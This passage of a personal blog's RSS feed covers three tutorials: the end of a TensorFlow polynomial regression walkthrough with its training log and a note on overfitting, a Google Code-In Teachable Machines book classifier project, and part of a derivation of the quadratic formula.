    <span class="k">for</span> <span class="n">epoch</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">no_of_epochs</span><span class="p">):</span>
      <span class="k">for</span> <span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">)</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">abscissa</span><span class="p">,</span> <span class="n">ordinate</span><span class="p">):</span>
        <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">optimizer5</span><span class="p">,</span> <span class="n">feed_dict</span><span class="o">=</span><span class="p">{</span><span class="n">X</span><span class="p">:</span><span class="n">x</span><span class="p">,</span> <span class="n">Y</span><span class="p">:</span><span class="n">y</span><span class="p">})</span>
      <span class="k">if</span> <span class="p">(</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">%</span><span class="mi">1000</span><span class="o">==</span><span class="mi">0</span><span class="p">:</span>
        <span class="n">cost</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">mse5</span><span class="p">,</span><span class="n">feed_dict</span><span class="o">=</span><span class="p">{</span><span class="n">X</span><span class="p">:</span><span class="n">abscissa</span><span class="p">,</span><span class="n">Y</span><span class="p">:</span><span class="n">ordinate</span><span class="p">})</span>
        <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;Epoch&quot;</span><span class="p">,(</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="p">),</span> <span class="s2">&quot;: Training Cost:&quot;</span><span class="p">,</span> <span class="n">cost</span><span class="p">,</span><span class="s2">&quot; a,b,c,d,e,f:&quot;</span><span class="p">,</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">a</span><span class="p">),</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">b</span><span class="p">),</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">c</span><span class="p">),</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">d</span><span class="p">),</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">e</span><span class="p">),</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">f</span><span class="p">))</span>

        <span class="n">training_cost</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">mse5</span><span class="p">,</span><span class="n">feed_dict</span><span class="o">=</span><span class="p">{</span><span class="n">X</span><span class="p">:</span><span class="n">abscissa</span><span class="p">,</span><span class="n">Y</span><span class="p">:</span><span class="n">ordinate</span><span class="p">})</span>
        <span class="n">coefficient1</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
        <span class="n">coefficient2</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">b</span><span class="p">)</span>
        <span class="n">coefficient3</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>
        <span class="n">coefficient4</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">d</span><span class="p">)</span>
        <span class="n">coefficient5</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
        <span class="n">constant</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
</code></pre>
</div>

<div class="codehilite">
<pre><span></span><code><span class="nt">Epoch</span><span class="na"> 1000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1409200100.0</span><span class="err">  </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">7.949472</span><span class="err"> </span><span class="nc">7.46219</span><span class="err"> </span><span class="nc">55.626034</span><span class="err"> </span><span class="nc">184.29028</span><span class="err"> </span><span class="nc">484.00223</span><span class="err"> </span><span class="nc">1024.0083</span>
<span class="nt">Epoch</span><span class="na"> 2000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1306882400.0</span><span class="err">  </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">8.732181</span><span class="err"> </span><span class="nc">-4.0085897</span><span class="err"> </span><span class="nc">73.25298</span><span class="err"> </span><span class="nc">315.90103</span><span class="err"> </span><span class="nc">904.08887</span><span class="err"> </span><span class="nc">2004.9749</span>
<span class="nt">Epoch</span><span class="na"> 3000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1212606000.0</span><span class="err">  </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">9.732249</span><span class="err"> </span><span class="nc">-16.90125</span><span class="err"> </span><span class="nc">86.28379</span><span class="err"> </span><span class="nc">437.06552</span><span class="err"> </span><span class="nc">1305.055</span><span class="err"> </span><span class="nc">2966.2188</span>
<span class="nt">Epoch</span><span class="na"> 4000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1123640400.0</span><span class="err">  </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">10.74851</span><span class="err"> </span><span class="nc">-29.82692</span><span class="err"> </span><span class="nc">98.59997</span><span class="err"> </span><span class="nc">555.331</span><span class="err"> </span><span class="nc">1698.4631</span><span class="err"> </span><span class="nc">3917.9155</span>
<span class="nt">Epoch</span><span class="na"> 5000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1039694300.0</span><span class="err">  </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">11.75426</span><span class="err"> </span><span class="nc">-42.598194</span><span class="err"> </span><span class="nc">110.698326</span><span class="err"> </span><span class="nc">671.64355</span><span class="err"> </span><span class="nc">2085.5513</span><span class="err"> </span><span class="nc">4860.8535</span>
<span class="nt">Epoch</span><span class="na"> 6000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">960663550.0</span><span class="err">  </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">12.745439</span><span class="err"> </span><span class="nc">-55.18337</span><span class="err"> </span><span class="nc">122.644936</span><span class="err"> </span><span class="nc">786.00214</span><span class="err"> </span><span class="nc">2466.1638</span><span class="err"> </span><span class="nc">5794.3735</span>
<span class="nt">Epoch</span><span class="na"> 7000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">886438340.0</span><span class="err">  </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">13.721028</span><span class="err"> </span><span class="nc">-67.57168</span><span class="err"> </span><span class="nc">134.43822</span><span class="err"> </span><span class="nc">898.3691</span><span class="err"> </span><span class="nc">2839.9958</span><span class="err"> </span><span class="nc">6717.659</span>
<span class="nt">Epoch</span><span class="na"> 8000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">816913100.0</span><span class="err">  </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">14.679965</span><span class="err"> </span><span class="nc">-79.75113</span><span class="err"> </span><span class="nc">146.07385</span><span class="err"> </span><span class="nc">1008.66895</span><span class="err"> </span><span class="nc">3206.6692</span><span class="err"> </span><span class="nc">7629.812</span>
<span class="nt">Epoch</span><span class="na"> 9000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">751971500.0</span><span class="err">  </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">15.62181</span><span class="err"> </span><span class="nc">-91.71608</span><span class="err"> </span><span class="nc">157.55713</span><span class="err"> </span><span class="nc">1116.7715</span><span class="err"> </span><span class="nc">3565.8323</span><span class="err"> </span><span class="nc">8529.976</span>
<span class="nt">Epoch</span><span class="na"> 10000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">691508740.0</span><span class="err">  </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">16.545347</span><span class="err"> </span><span class="nc">-103.4531</span><span class="err"> </span><span class="nc">168.88321</span><span class="err"> </span><span class="nc">1222.6348</span><span class="err"> </span><span class="nc">3916.9785</span><span class="err"> </span><span class="nc">9416.236</span>
<span class="nt">Epoch</span><span class="na"> 11000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">635382000.0</span><span class="err">  </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">17.450052</span><span class="err"> </span><span class="nc">-114.954254</span><span class="err"> </span><span class="nc">180.03932</span><span class="err"> </span><span class="nc">1326.1565</span><span class="err"> </span><span class="nc">4259.842</span><span class="err"> </span><span class="nc">10287.99</span>
<span class="nt">Epoch</span><span class="na"> 12000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">583477250.0</span><span class="err">  </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">18.334944</span><span class="err"> </span><span class="nc">-126.20821</span><span class="err"> </span><span class="nc">191.02948</span><span class="err"> </span><span class="nc">1427.2095</span><span class="err"> </span><span class="nc">4593.8</span><span class="err"> </span><span class="nc">11143.449</span>
<span class="nt">Epoch</span><span class="na"> 13000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">535640400.0</span><span class="err">  </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">19.198917</span><span class="err"> </span><span class="nc">-137.20206</span><span class="err"> </span><span class="nc">201.84718</span><span class="err"> </span><span class="nc">1525.6926</span><span class="err"> </span><span class="nc">4918.5327</span><span class="err"> </span><span class="nc">11981.633</span>
<span class="nt">Epoch</span><span class="na"> 14000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">491722240.0</span><span class="err">  </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">20.041153</span><span class="err"> </span><span class="nc">-147.92719</span><span class="err"> </span><span class="nc">212.49709</span><span class="err"> </span><span class="nc">1621.5496</span><span class="err"> </span><span class="nc">5233.627</span><span class="err"> </span><span class="nc">12800.468</span>
<span class="nt">Epoch</span><span class="na"> 15000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">451559520.0</span><span class="err">  </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">20.860966</span><span class="err"> </span><span class="nc">-158.37456</span><span class="err"> </span><span class="nc">222.97133</span><span class="err"> </span><span class="nc">1714.7141</span><span class="err"> </span><span class="nc">5538.676</span><span class="err"> </span><span class="nc">13598.337</span>
<span class="nt">Epoch</span><span class="na"> 16000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">414988960.0</span><span class="err">  </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">21.657421</span><span class="err"> </span><span class="nc">-168.53406</span><span class="err"> </span><span class="nc">233.27422</span><span class="err"> </span><span class="nc">1805.0874</span><span class="err"> </span><span class="nc">5833.1978</span><span class="err"> </span><span class="nc">14373.658</span>
<span class="nt">Epoch</span><span class="na"> 17000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">381837920.0</span><span class="err">  </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">22.429693</span><span class="err"> </span><span class="nc">-178.39536</span><span class="err"> </span><span class="nc">243.39914</span><span class="err"> </span><span class="nc">1892.5883</span><span class="err"> </span><span class="nc">6116.847</span><span class="err"> </span><span class="nc">15124.394</span>
<span class="nt">Epoch</span><span class="na"> 18000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">351931300.0</span><span class="err">  </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">23.176882</span><span class="err"> </span><span class="nc">-187.94789</span><span class="err"> </span><span class="nc">253.3445</span><span class="err"> </span><span class="nc">1977.137</span><span class="err"> </span><span class="nc">6389.117</span><span class="err"> </span><span class="nc">15848.417</span>
<span class="nt">Epoch</span><span class="na"> 19000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">325074400.0</span><span class="err">  </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">23.898485</span><span class="err"> </span><span class="nc">-197.18741</span><span class="err"> </span><span class="nc">263.12512</span><span class="err"> </span><span class="nc">2058.6716</span><span class="err"> </span><span class="nc">6649.8037</span><span class="err"> </span><span class="nc">16543.95</span>
<span class="nt">Epoch</span><span class="na"> 20000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">301073570.0</span><span class="err">  </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">24.593851</span><span class="err"> </span><span class="nc">-206.10497</span><span class="err"> </span><span class="nc">272.72385</span><span class="err"> </span><span class="nc">2137.1797</span><span class="err"> </span><span class="nc">6898.544</span><span class="err"> </span><span class="nc">17209.367</span>
<span class="nt">Epoch</span><span class="na"> 21000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">279727000.0</span><span class="err">  </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">25.262104</span><span class="err"> </span><span class="nc">-214.69217</span><span class="err"> </span><span class="nc">282.14642</span><span class="err"> </span><span class="nc">2212.6372</span><span class="err"> </span><span class="nc">7135.217</span><span class="err"> </span><span class="nc">17842.854</span>
<span class="nt">Epoch</span><span class="na"> 22000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">260845550.0</span><span class="err">  </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">25.903376</span><span class="err"> </span><span class="nc">-222.94969</span><span class="err"> </span><span class="nc">291.4003</span><span class="err"> </span><span class="nc">2284.9844</span><span class="err"> </span><span class="nc">7359.4644</span><span class="err"> </span><span class="nc">18442.408</span>
<span class="nt">Epoch</span><span class="na"> 23000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">244218030.0</span><span class="err">  </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">26.517094</span><span class="err"> </span><span class="nc">-230.8697</span><span class="err"> </span><span class="nc">300.45532</span><span class="err"> </span><span class="nc">2354.3003</span><span class="err"> </span><span class="nc">7571.261</span><span class="err"> </span><span class="nc">19007.49</span>
<span class="nt">Epoch</span><span class="na"> 24000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">229660080.0</span><span class="err">  </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">27.102589</span><span class="err"> </span><span class="nc">-238.44817</span><span class="err"> </span><span class="nc">309.35342</span><span class="err"> </span><span class="nc">2420.4185</span><span class="err"> </span><span class="nc">7770.5728</span><span class="err"> </span><span class="nc">19536.19</span>
<span class="nt">Epoch</span><span class="na"> 25000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">216972400.0</span><span class="err">  </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">27.660324</span><span class="err"> </span><span class="nc">-245.69016</span><span class="err"> </span><span class="nc">318.10062</span><span class="err"> </span><span class="nc">2483.3608</span><span class="err"> </span><span class="nc">7957.354</span><span class="err"> </span><span class="nc">20027.707</span>
<span class="nt">216972400.0</span><span class="na"> 27.660324 -245.69016 318.10062 2483.3608 7957.354 20027.707</span>
</code></pre>
</div>

<div class="codehilite">
<pre><span></span><code><span class="n">predictions</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">abscissa</span><span class="p">:</span>
  <span class="n">predictions</span><span class="o">.</span><span class="n">append</span><span class="p">((</span><span class="n">coefficient1</span><span class="o">*</span><span class="nb">pow</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="mi">5</span><span class="p">)</span> <span class="o">+</span> <span class="n">coefficient2</span><span class="o">*</span><span class="nb">pow</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="mi">4</span><span class="p">)</span> <span class="o">+</span> <span class="n">coefficient3</span><span class="o">*</span><span class="nb">pow</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="mi">3</span><span class="p">)</span> <span class="o">+</span> <span class="n">coefficient4</span><span class="o">*</span><span class="nb">pow</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="n">coefficient5</span><span class="o">*</span><span class="n">x</span> <span class="o">+</span> <span class="n">constant</span><span class="p">))</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">abscissa</span> <span class="p">,</span> <span class="n">ordinate</span><span class="p">,</span> <span class="s1">&#39;ro&#39;</span><span class="p">,</span> <span class="n">label</span> <span class="o">=</span><span class="s1">&#39;Original data&#39;</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">abscissa</span><span class="p">,</span> <span class="n">predictions</span><span class="p">,</span> <span class="n">label</span> <span class="o">=</span><span class="s1">&#39;Fitted line&#39;</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">title</span><span class="p">(</span><span class="s1">&#39;Quintic Regression Result&#39;</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">legend</span><span class="p">()</span>
<span class="n">plt</span><span class="o">.</span><span class="n">show</span><span class="p">()</span>
</code></pre>
</div>

<p><img src="/assets/gciTales/03-regression/6.png" alt="" /></p>

<h2 id="results-and-conclusion">Results and Conclusion</h2>

<p>You just learnt Polynomial Regression using TensorFlow!</p>

<h2 id="notes">Notes</h2>

<h3 id="overfitting">Overfitting</h3>

<blockquote>
  <blockquote>
    <p>Overfitting refers to a model that models the training data too well.
    Overfitting happens when a model learns the detail and noise in the training data to the extent that it negatively impacts the performance of the model on new data. This means that the noise or random fluctuations in the training data is picked up and learned as concepts by the model. The problem is that these concepts do not apply to new data and negatively impact the models ability to generalise.</p>
  </blockquote>
</blockquote>

<blockquote>
  <p>Source: Machine Learning Mastery</p>
</blockquote>

<p>Basically if you train your machine learning model on a small dataset for a really large number of epochs, the model will learn all the deformities/noise in the data and will actually think that it is a normal part. Therefore when it will see some new data, it will discard that new data as noise and will impact the accuracy of the model in a negative manner</p>
]]></content:encoded>
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		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2019-12-04-Google-Teachable-Machines.html
			</guid>
			<title>
				Image Classifier With Teachable Machines
			</title>
			<description>
				Tutorial on creating a custom image classifier quickly with Google Teachable Machines
			</description>
			<link>https://web.navan.dev/posts/2019-12-04-Google-Teachable-Machines.html</link>
			<pubDate>Wed, 04 Dec 2019 18:23:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="image-classifier-with-teachable-machines">Image Classifier With Teachable Machines</h1>

<p>Made for Google Code-In</p>

<p><strong>Task Description</strong></p>

<p>Using Glitch and the Teachable Machines, build a Book Detector with Tensorflow.js. When a book is recognized, the code would randomly suggest a book/tell a famous quote from a book. Here is an example Project to get you started: https://glitch.com/~voltaic-acorn</p>

<h3 id="details">Details</h3>

<p>1) Collecting Data</p>

<p>Teachable Machine allows you to create your dataset just by using your webcam! I created a database consisting of three classes ( Three Books ) and approximately grabbed 100 pictures for each book/class</p>

<p><img src="/assets/gciTales/01-teachableMachines/01-collect.png" alt="" /></p>

<p>2) Training</p>

<p>Training on teachable machines is as simple as clicking the train button. I did not even have to modify any configurations. </p>

<p><img src="/assets/gciTales/01-teachableMachines/02-train.png" alt="" /></p>

<p>3) Finding Labels</p>

<p>Because I originally entered the entire name of the book and it's author's name as the label, the class name got truncated (Note to self, use shorter class names :p ). I then modified the code to print the modified label names in an alert box. </p>

<p><img src="/assets/gciTales/01-teachableMachines/03-label.png" alt="" /></p>

<p><img src="/assets/gciTales/01-teachableMachines/04-alert.png" alt="" /></p>

<p>4) Adding a suggestions function</p>

<p>I first added a text field on the main page and then modified the JavaScript file to suggest a similar book whenever the model predicted with an accuracy &gt;= 98% </p>

<p><img src="/assets/gciTales/01-teachableMachines/05-html.png" alt="" /></p>

<p><img src="/assets/gciTales/01-teachableMachines/06-js.png" alt="" /></p>

<p>5) Running!</p>

<p>Here it is running!</p>

<p><img src="/assets/gciTales/01-teachableMachines/07-eg.png" alt="" /></p>

<p><img src="/assets/gciTales/01-teachableMachines/08-eg.png" alt="" /></p>

<p>Remix this project:-</p>

<p>https://luminous-opinion.glitch.me</p>
]]></content:encoded>
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		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2024-03-26-Derivation-of-the-Quadratic-Equation.html
			</guid>
			<title>
				Quadratic Formula Derivation
			</title>
			<description>
				Quick derivation of the quadratic equation by completing the square
			</description>
			<link>https://web.navan.dev/posts/2024-03-26-Derivation-of-the-Quadratic-Equation.html</link>
			<pubDate>Tue, 26 Mar 2024 15:36:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="quadratic-formula-derivation">Quadratic Formula Derivation</h1>

<p>The standard form of a quadratic equation is:</p>

<math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><mrow><mi>a</mi><msup><mi>x</mi><mn>2</mn></msup><mo>&#x0002B;</mo><mi>b</mi><mi>x</mi><mo>&#x0002B;</mo><mi>c</mi><mo>&#x0003D;</mo><mn>0</mn></mrow></math>

<p>Here, <math xmlns="http://www.w3.org/1998/Math/MathML" display="inline"><mrow><mi>a</mi><mo>&#x0002C;</mo><mi>b</mi><mo>&#x0002C;</mo><mi>c</mi><mo>&#x02208;</mo><mi>&#x0211D;</mi></mrow></math>, and <math xmlns="http://www.w3.org/1998/Math/MathML" display="inline"><mrow><mi>a</mi><mo>&#x02260;</mo><mn>0</mn></mrow></math></p>

<p>We begin by first dividing both sides by the coefficient <math xmlns="http://www.w3.org/1998/Math/MathML" display="inline"><mrow><mi>a</mi></mrow></math></p>

<math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><mrow><mi>&#x027F9;</mi><msup><mi>x</mi><mn>2</mn></msup><mo>&#x0002B;</mo><mfrac><mrow><mi>b</mi></mrow><mrow><mi>a</mi></mrow></mfrac><mi>x</mi><mo>&#x0002B;</mo><mfrac><mrow><mi>c</mi></mrow><mrow><mi>a</mi></mrow></mfrac><mo>&#x0003D;</mo><mn>0</mn></mrow></math>

<p>We can rearrange the equation:</p>

<math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><mrow><msup><mi>x</mi><mn>2</mn></msup><mo>&#x0002B;</mo><mfrac><mrow><mi>b</mi></mrow><mrow><mi>a</mi></mrow></mfrac><mi>x</mi><mo>&#x0003D;</mo><mo>&#x02212;</mo><mfrac><mrow><mi>c</mi></mrow><mrow><mi>a</mi></mrow></mfrac></mrow></math>

<p>We can then use the method of completing the square. (<a rel="noopener" target="_blank" href="https://www.mathsisfun.com/algebra/completing-square.html">Maths is Fun</a> has a really good explanation for this technique)</p>

<math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><mrow><msup><mi>x</mi><mn>2</mn></msup><mo>&#x0002B;</mo><mfrac><mrow><mi>b</mi></mrow><mrow><mi>a</mi></mrow></mfrac><mi>x</mi><mo>&#x0002B;</mo><mo stretchy="false">&#x00028;</mo><mfrac><mrow><mi>b</mi></mrow><mrow><mn>2</mn><mi>a</mi></mrow></mfrac><msup><mo stretchy="false">&#x00029;</mo><mn>2</mn></msup><mo>&#x0003D;</mo><mfrac><mrow><mo>&#x02212;</mo><mi>c</mi></mrow><mrow><mi>a</mi></mrow></mfrac><mo>&#x0002B;</mo><mo stretchy="false">&#x00028;</mo><mfrac><mrow><mi>b</mi></mrow><mrow><mn>2</mn><mi>a</mi></mrow></mfrac><msup><mo stretchy="false">&#x00029;</mo><mn>2</mn></msup></mrow></math>

<p>On our LHS, we can clearly recognize that it is the expanded form of <math xmlns="http://www.w3.org/1998/Math/MathML" display="inline"><mrow><mo stretchy="false">&#x00028;</mo><mi>x</mi><mo>&#x0002B;</mo><mi>d</mi><msup><mo stretchy="false">&#x00029;</mo><mn>2</mn></msup></mrow></math> i.e <math xmlns="http://www.w3.org/1998/Math/MathML" display="inline"><mrow><msup><mi>x</mi><mn>2</mn></msup><mo>&#x0002B;</mo><mn>2</mn><mi>x</mi><mi>&#x000B7;</mi><mi>d</mi><mo>&#x0002B;</mo><msup><mi>d</mi><mn>2</mn></msup></mrow></math></p>

<math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><mrow><mi>&#x027F9;</mi><mo stretchy="false">&#x00028;</mo><mi>x</mi><mo>&#x0002B;</mo><mfrac><mrow><mi>b</mi></mrow><mrow><mn>2</mn><mi>a</mi></mrow></mfrac><msup><mo stretchy="false">&#x00029;</mo><mn>2</mn></msup><mo>&#x0003D;</mo><mfrac><mrow><mo>&#x02212;</mo><mi>c</mi></mrow><mrow><mi>a</mi></mrow></mfrac><mo>&#x0002B;</mo><mfrac><mrow><msup><mi>b</mi><mn>2</mn></msup></mrow><mrow><mn>4</mn><msup><mi>a</mi><mn>2</mn></msup></mrow></mfrac><mo>&#x0003D;</mo><mfrac><mrow><mo>&#x02212;</mo><mn>4</mn><mi>a</mi><mi>c</mi><mo>&#x0002B;</mo><msup><mi>b</mi><mn>2</mn></msup></mrow><mrow><mn>4</mn><msup><mi>a</mi><mn>2</mn></msup></mrow></mfrac></mrow></math>

<p>Taking the square root of both sides</p>

<math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><mrow><mtable displaystyle="true" rowspacing="3pt" columnspacing="0em 2em"><mtr><mtd columnalign="right"><mi>x</mi><mo>&#x0002B;</mo><mfrac><mrow><mi>b</mi></mrow><mrow><mn>2</mn><mi>a</mi></mrow></mfrac></mtd><mtd columnalign="left"><mi /><mo>&#x0003D;</mo><mfrac><mrow><msqrt><mrow><mo>&#x02212;</mo><mn>4</mn><mi>a</mi><mi>c</mi><mo>&#x0002B;</mo><msup><mi>b</mi><mn>2</mn></msup></mrow></msqrt></mrow><mrow><mn>2</mn><mi>a</mi></mrow></mfrac></mtd></mtr><mtr><mtd columnalign="right"><mi>x</mi></mtd><mtd columnalign="left"><mi /><mo>&#x0003D;</mo><mfrac><mrow><mi>&#x000B1;</mi><msqrt><mrow><mo>&#x02212;</mo><mn>4</mn><mi>a</mi><mi>c</mi><mo>&#x0002B;</mo><msup><mi>b</mi><mn>2</mn></msup></mrow></msqrt><mo>&#x02212;</mo><mi>b</mi></mrow><mrow><mn>2</mn><mi>a</mi></mrow></mfrac></mtd></mtr><mtr><mtd columnalign="right" /><mtd columnalign="left"><mi /><mo>&#x0003D;</mo><mfrac><mrow><mo>&#x02212;</mo><mi>b</mi><mi>&#x000B1;</mi><msqrt><mrow><msup><mi>b</mi><mn>2</mn></msup><mo>&#x02212;</mo><mn>4</mn><mi>a</mi><mi>c</mi></mrow></msqrt></mrow><mrow><mn>2</mn><mi>a</mi></mrow></mfrac></mtd></mtr></mtable></mrow></math>

<p>This gives you the world famous quadratic formula:</p>

